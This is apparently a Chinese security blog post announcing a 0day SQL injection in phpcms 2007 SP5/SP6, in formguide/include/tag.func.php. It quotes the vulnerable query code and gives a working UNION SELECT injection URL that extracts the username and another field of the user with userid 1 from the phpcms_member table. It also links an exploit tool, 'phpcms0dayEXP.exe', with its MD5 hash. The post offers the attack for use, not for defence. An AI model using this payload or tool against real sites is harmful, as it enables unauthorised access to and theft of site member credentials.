感谢sniperhg的投递！

影响版本：2007SP5 SP6
漏洞文件：/formguide/include/tag.func.php
Author：backerhack 小蟑螂
信息来源：零客网安 www.0kee.com
祝全国女性同胞们节日快乐，关注女性健康… “她好，我也好”
------------灰常淫荡的分割线-------------------------------------------------------
 {
 global $db,$MOD,$MODULE;
 $formid = (!isset($formid)||$formid=='') ? 0 : $formid;
 $query = "SELECT * FROM ".TABLE_FORMGUIDE." WHERE formid=$formid limit 1";
 $r = $db->get_one($query);
 if(!$r)
 {
 echo $LANG['not_exist_form'];
 return ''; 
 }

变量formid未赋值且过滤不严带入查询导致注入。
测试：http://phpcmsroot/formguide/index.php?formid=1/**/and/**/1=2/**/union/**/select/**/1,username,3,4,5,6,7/**/from/**/phpcms_member/**/where/**/userid=1/*
附上sniperhg写的利用工具… 写的真的很强大，赞一个！
phpcms0dayEXP.exe MD5值：cae31a3ef566ed06068473d787d76359

下载

引用通告地址 (56)：
http://www.cnyzy.cn/trackback.asp?tbID=719
http://www.cnyzy.cn/trackback.asp?tbID=719&CP=GBK